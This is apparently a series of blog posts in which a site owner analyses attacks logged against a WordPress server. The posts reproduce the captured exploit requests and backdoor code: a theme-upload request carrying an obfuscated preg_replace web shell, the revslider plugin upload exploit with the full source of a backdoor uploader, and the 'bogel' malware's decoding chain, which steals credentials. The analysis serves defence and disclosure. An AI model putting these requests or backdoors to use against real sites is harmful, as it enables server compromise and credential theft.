Interesting new WordPress attack signature using POST /xmlrpc.php

Today I noticed an interesting, and hitherto unseen, attack from 5.152.192.218 which is owned by cloud provider redstation.com (or redstation.co.uk if you prefer). The attack started with this request:

POST /xmlrpc.php HTTP/1.0
Host: www.skepticism.us
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Note the ancient HTTP/1.0 protocol specification. The methodCall is also ill-formed causing PHP to issue a notice and warning messages about Undefined index: VALUE and Invalid argument supplied for foreach().

That request was followed by another POST /xmlrpc.php that attempted to use the system.multicall method; something I’ve never seen in an attack before now. The “multicall” methods were all wp.getCategories invocations with my user ID and various passwords. In the past six months (as far as my logs go) I only started seeing attempts to exploit wp.getCategories two days ago. And this attack was the first one to do so by using system.multicall to reduce the number of requests it had to make to test which, if any, of large number of passwords was valid

A few minutes after writing the previous text I noticed that I had in fact seen another attack employing the system.multicall method to execute wp.getCategories multiples times in a single request. That attack was from ttnetdc.com in Turkey. That attack was very different. First, it was not preceded by the demo.sayHello request. Second, the wp.getCategories calls all used the generic admin account rather than my account. Third, the XML was formatted in a more or less human readable form rather than the tightly packed sequence of tokens from the attack I saw this morning and talk about above.

Thus it appears that a general approach about how to efficiently test for valid WordPress credentials was recently documented and we’re now seeing various hackers attempt to exploit that advice.

Thailand has reached #1 in attacks against my server

The number of attacks from Thailand has been a significant fraction of the total for several months. In the past 24 hours I saw attacks from 51 address in Thailand, 241 in the past week. That exceeds the runner-up country (US) by a factor of five. Ten months ago I noted that Italy was the source of a disproportionate number of attacks.

Every single recent attack from Thailand has attempted to register a bogus WordPress account via a POST /wp-login.php?action=register request. Some piece of malware has managed to successfully infect a huge number of personal computers in Thailand and nowhere else. All of the computers are in the totbb.net domain

Below is the most recent such request. The details of the user login and email vary but the other details are pretty consistent.

P.S., I recognize that the numbers I’m reporting are insignificant compared to most web servers let alone the Internet as a whole. But that’s the point. My web server (blog) is only a little over a year old. My server is itself insignificant. Which means I have relatively little traffic to wade through. Which makes detecting some problems and trends easier.

POST /wp-login.php?action=register HTTP/1.1
Host: www.skepticism.us
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: Keep-Alive
User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388
Version/12.17
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://www.skepticism.us/wp-login.php?action=register
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

user_login=PattiThorne3&user_email=pattisabj9571%40admin2%40metalchopsaw.info&redirect_to=&wp-submit=Register

Another interesting attack against the “beauty-clean” WP theme

Today I logged another attack that attempts to exploit the horribly broken (i.e., full of security holes) “beauty-clean” WordPress theme. It also exploits a misfeature of PHP that is one of hundreds of reasons that PHP needs to die. Anyone who tells me they’re proud they write most of their code in PHP is someone who probably received way too many awards as a child merely for participating.

I wrote about the first attack I noticed against this theme just two weeks ago. This most recent attack is similar yet different. It leverages the fact the WP theme creates a temporary file using the filename provided by the attacker and then doesn’t remove the file.

POST / HTTP/1.1
Referer: http://www.skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: www.skepticism.us
Content-Length: 409
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="resd.php"
Content-Type: text/php

<?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");?>45000
--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

Here is the PHP program the hacker is attempting to install on my system:

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");

Notice the childish attempt at obfuscating the code. Removing the obfuscation we get:

preg_replace("/[discuz]/e", $_POST['h'], "Access");

OMFG! It’s going to execute whatever PHP code the attacker passes via a “h” POST parameter four times: once for each occurrence of the letters “c” and “s” in the word “Access”. So not only is the person who wrote the “beauty-clean” theme incompetent so is this hacker.

The malware a recent attack against the WordPress revslider plugin attempted to install

I’ve been seeing attempts to exploit bugs in the WordPress revslider plugin for a very long time. But all of the attacks that utilize a POST request have attempted to upload a Zip archive. And a bug in the mod_dumpio module meant I was unable to extract the contents of those zip files. Having just fixed the mod_dumpio module I was able to capture one of those zip archives. The attack was from a server at namecheaphosting.com (I’ve elided the binary zip data):

POST /tag/php/wp-admin/admin-ajax.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Length: 1122
Content-Type: multipart/form-data; boundary=xYzZY
Cookie:

--xYzZY
Content-Disposition: form-data; name="action"

revslider_ajax_action
--xYzZY
Content-Disposition: form-data; name="client_action"

update_plugin
--xYzZY
Content-Disposition: form-data; name="update_file"; filename="revslider.zip"
Content-Type: application/zip

PK…
--xYzZY--

And the contents of the uploaded zip file was a single file named revslider/dor.libs.php with the following content. As you can see it’s a poorly written minimalist backdoor.

<?php
echo "<title>RevSlideR 2015</title><br><br>";
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[Safe-mode:".$hsafemode."] 7 [OS:".$os."]";
echo "<center> ".$xos." </center><br>";

if(isset($_GET['x'])){
echo "<title>PiNDaH 2015</title><br><br>";
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/default.php";
copy($source, $desti);
}

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

Bogel malware trying to create and run wp-xmlrpc.php

Update 2015-02-23: I saw the second instance of the attack described below from domain cyberneticos.com in Spain (ES) just 2.5 days after the first attack.

Yesterday, I saw a novel attack from 173.205.124.194 at domain inmotionhosting.com in the US. The malware made the following HTTP requests:

POST /2015/05/26//wp-indeks.php HTTP/1.1
POST //wp-indeks.php HTTP/1.1
POST /2015/05/26//wp-content.php?x0x HTTP/1.1
POST //wp-content.php?x0x HTTP/1.1

Each request had the same 255,782 byte payload that looks like (from the last attack listed above):

POST /2015/05/26//wp-content.php?x0x HTTP/1.1
Host: www.skepticism.us
Accept: */*
Content-Length: 255782
Expect: 100-continue
Content-Type: multipart/form-data; boundary=----------------------------3cc4c6faadfb

------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="userfile"; filename="wp-xmlrpc.php"
Content-Type: application/octet-stream

<?php
/*
Ready : all spamtools :)
Ym : envir0nn
*/
$bogel = 'AAmA9n9cncdh7GC2Xud+ih4YuN3ggDnBMGOLOY…'
------------------------------3cc4c6faadfb
Content-Disposition: form-data; name="submit"

Upload
------------------------------3cc4c6faadfb--

Note that I have elided the 255 KB string assigned to $bogel.

The first observation is that this malware seems to be trying to exploit already installed malware in order to install itself. Once the new malware is uploaded I suspect the attacker would try to “GET /wp-xmlrpc.php” in order to execute its code.

The string assigned to $bogel is clearly an obfuscated PHP script. It is followed by statements to decode the obfuscated script and store the result in variable $iHiio and then execute it via return EvAl($iHiio).

Executing everything other than the final EvAl($iHiio); statement shows that $iHiio contains:

EvAl(StR_rOt13(gZInFlAtE(sTr_rOt13(GzinFLAte(Base64_DECOde($iiHiA))))));

The string to be eval’d is

error_reporting(0);
@set_time_limit(0);
$bogel = $_GET['cpanel'];
if (isset($bogel)) {
  eval(gzinflate(base64_decode('vVhtb9s2EP7cAPkPrGqM8ur…)));
  die;
}
eval(gzinflate(str_rot13(base64_decode('7P1sf+M4jjgO//3…))));

So this attack does one thing against WordPress installations that use cPanel (most likely on servers managed by companies that provide web or virtual server hosting) and something else against non-cPanel installations. The code executed by the cpanel branch is 5,288 bytes in length. The non-cpanel branch is 601,097 bytes long.

The attack against cPanel enabled sites starts by emitting some HTML, checking if PHP is running in safe mode and disable execution time limits:

echo '<html><head><title>[&#8224;] bogel - exploit [&#8224;]</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);

It then goes on to extract user names from /etc/passwd. For each user account it looks for passwords in various configuration files such as wp-config.php and manager.php in the directory /home/$user/public_html/. For each password it finds it attempts to login via the FTP protocol to localhost. If the login is successful it sends an email to mxbogel@gmail.com with the username and password.

I’m not going to dissect the entire 600 KB non-cpanel attack but will note a couple of interesting things. The code begins with a signature string containing “recky aka bogel” and the URI http://tools.bogel.co/. It installs some backdoors and creates a web page that displays information about the infected host and provides web forms to make it easy to upload arbitrary files and such. The web page it presents ends with “hidden” text. I say “hidden” because it hides the text by setting the text color to white which effectively makes it invisible unless you look at the HTML source for the page. That text is:

[&#8224;]   ./bogel | Jayalah Indonesia Ku | <a href="http://zone-h.org/archive/notifier=bogel" target="_blank">envir0nn@yahoo.com</a>   [&#8224;]

P.S., Something I didn’t realize (since I know practically nothing about PHP) until analyzing this attack is that PHP is case-insensitive with respect to function names. Which deserves a WTF was the author of this language thinking? I appreciate that they were striving to create a language that would allow non-professional programmers to write PHP programs. Nonetheless that sort of freedom to write RaNdOmShIt() and have it executed is counterproductive. I’m more convinced than ever that PHP needs to die.

To block or not to block stupid HTTP proxy software

A lot of HTTP proxy firewalls used by companies scan web pages (i.e., HTTP responses) received by users behind the firewall. That is reasonable as they have a legitimate need to protect their network from malware. What is not reasonable is that those proxy firewalls then pre-fetch any URL mentioned anywhere in the returned web page(s). Regardless of whether or not the human (and their browser) which made the original request would also request the URL.

This most often manifests itself via HTTP GET requests with a user-agent value of “Mozilla/4.0 (compatible;)” interspersed among other requests from the same source; albeit with a different user-agent value. Searching Google for “Mozilla/4.0 (compatible;)” returns several answers about that user-agent value. For example this one.

This behavior by HTTP proxy firewalls is extremely obnoxious. Not least because it makes reading and interpreting web server logs more difficult. It also adds load to a server (especially one running WordPress which relies heavily on PHP) that would not otherwise have to be handled.

Having said that I no longer blacklist based on that user-agent header. A careful review of my HTTP access logs showed that while it might have blocked a few instances of malware it was more often blocking access from proxy firewalls used by major corporations. So while I wish those companies would employ more intelligent proxy firewalls that don’t fetch URLs that are unlikely to be fetched by the people behind the firewall it isn’t worthwhile to penalize those companies by blacklisting their public addresses.

New WordPress attack targeting the phpinfo() function

Are the authors of PHP and WordPress merely evil or Satan incarnate? That was the thought that crossed my mind (even though I’m an atheist) when I saw the most recent attack against my site. The attacker was in the Ukraine (country code UA) on domain hidehost.net at address 91.200.12.53. The attacker started with a “GET /” request. The subsequent requests were all POST to a /wp-includes/*.php path. Specifically these paths:

POST /wp-includes/class.wp-dependencies.php
POST /wp-includes/feed-rss2.php
POST /wp-includes/date.php
POST /wp-includes/pluggable-deprecated.php
POST /wp-includes/default-constants.php
POST /wp-includes/bookmark-template.php
POST /wp-includes/pluggable.php
POST /wp-includes/feed.php
POST /wp-includes/theme.php
POST /wp-includes/formatting.php

Each POST request had one line from the following list in the data portion of the request:

q01b955=phpinfo();
q044e97=phpinfo();
q6d8db6=phpinfo();
q791d24=phpinfo();
q82e86f=phpinfo();
q874478=phpinfo();
qb214de=phpinfo();
qcd4fab=phpinfo();
qeb2df4=phpinfo();

My WordPress v4.3 installation responded with a HTTP 200 (OK) status to each request. I manually executed each request and got the same 200 status but no output from the phpinfo() function. So I am reasonably confident the attacker did not get any useful data from my server. Specifically, no data other than that I have not been infected by malware (see the next paragraph).

Googling for “attack phpinfo” returns many results such as this one which explain why the ability to remotely invoke the phpinfo() function is a security risk. Googling for any of the tokens on the left-hand side of the above assignments returned nothing useful. Neither are those tokens base32 or base64 encoded values.

This suggests that this attacker is looking for sites that have been previously infected by malware. I’ve seen attacks in the past with seemingly nonsensical tokens. Careful analysis has suggested, if not proved, that each of those attacks is trying to detect, and presumably exploit, malware already present on the computer.

New malware guessing credentials via “POST /xmlrpc.php” attacks with odd User-agent values

One week ago I started seeing password guessing attacks using “POST /xmlrpc.php” requests. Yes, that type of attack has been happening since WordPress was first released to the public. What made the recent attacks unique is that they include a “User-agent” header. Something that is exceedingly rare. Even more interesting is that the user-agent values are all from this list:

Poster
Windows Live Writer
WordPress
wp-windowsphone
wp-iphone
wp-android

Those are the literal values. They do not include any other prefix or suffix strings. I saw the first attack from this new vector on 2015-08-28T21:50:03 UTC. Looking at my logs (which go back six months) there has never been a single request with those user-agent values prior to 2015-08-28. So I’ve added those to my list of blacklisted user-agent values.

All of the sources appear to be from cloud/VPS/hosting providers which tells us that this malware targets server apps for infection rather than personal computer apps.

An interesting attack on my web server: “POST /” with seemingly nonsense data

Today a system in Serbia issued a “POST / HTTP/1.1” request to my web server. The data consisted of a seemingly nonsensical sequence of key/value pairs separated by ampersands. This first one was this:

n764b3b=ZWNobyAnMW9rMScuIlxuIjtleGl0Ow

All of the subsequent key/value pairs had the same value. Here are the keys:

n764b3b n828e00 n318a65 nbc8a20 n9e5e25
n22ec2b ndfbe75 n0e7f9c n9e5e25 n95e668
ne91e7a n4a90f1 n39d576 n13e558 nd6e706
n33beb2 nc06699 n78cd5a nb78204 nd335c3
nf03a5d n93bc3c n55d3bf n81977d nf26eee
n036581 n108fc5 nb89d65 nfb8c26 n46b398
n01b955 n92001e n1c1ae6 n93bc3c n760097
n23f412 nbc8a20 n59a097 n5388ff n8f249d
n9e5e25 n95e668 n93bc3c

A Google search suggests that WordPress might have used those keys as nonces. See this WordPress forum thread as an example. Other search results suggest the keys are PHP bytecode operators. Which suggests that this attack is trying to execute pre-compiled (i.e., bytecode) PHP. Sadly, a search for the value “ZWNobyAnMW9rMScuIlxuIjtleGl0Ow” didn’t yield any results.

I’m not sufficiently motivated to dig into this any further since I never allow POST requests to the root document of my web server and am thus immune to this attack. Nonetheless, I would love to hear from someone who can shed more light on what this attacker is trying to accomplish.

Why am I suddenly seeing attacks against the WordPress imgmanager plugin?

In the past three days I’ve seen multiple attacks against an ancient (i.e., 2.5 year old) security hole in the Joomla imgmanager plugin you can find documented here. The attacks came from a Thailand ISP and a Russian cloud service provider. The attacks start with a request similar to this one:

POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1

The POST content attempts to create a file named bogel.gif that contains a PHP program that was compressed, rot13 encoded, then base64 encoded.

It amazes me that hackers are wasting time on ancient security flaws with a low probability of succeeding. It’s amazing because doing so tells the world the source of the attack should be blacklisted thus making it useless for more productive attacks. Perhaps that says something about how bad the defenses are for the typical web site. Personally, I have a zero tolerance, one strike and your blacklisted for three months, policy. And the three month interval restarts every time I see another request from the source. If more sites had similar policies it might exert some pressure on ISPs and VPS/cloud computing providers to actually deal with malware.

I’m also extremely pissed off that WordPress doesn’t report a meaningful error when a bogus plugin request is handled. I say bogus because in every case I’ve seen it’s been to a plugin that isn’t installed on my system. So I’m just going to blacklist all attempts to POST /index.php (as well as any other path ending in /index.php). If and when I ever install a plugin that I want to allow POSTing to I’ll explicitly whitelist it.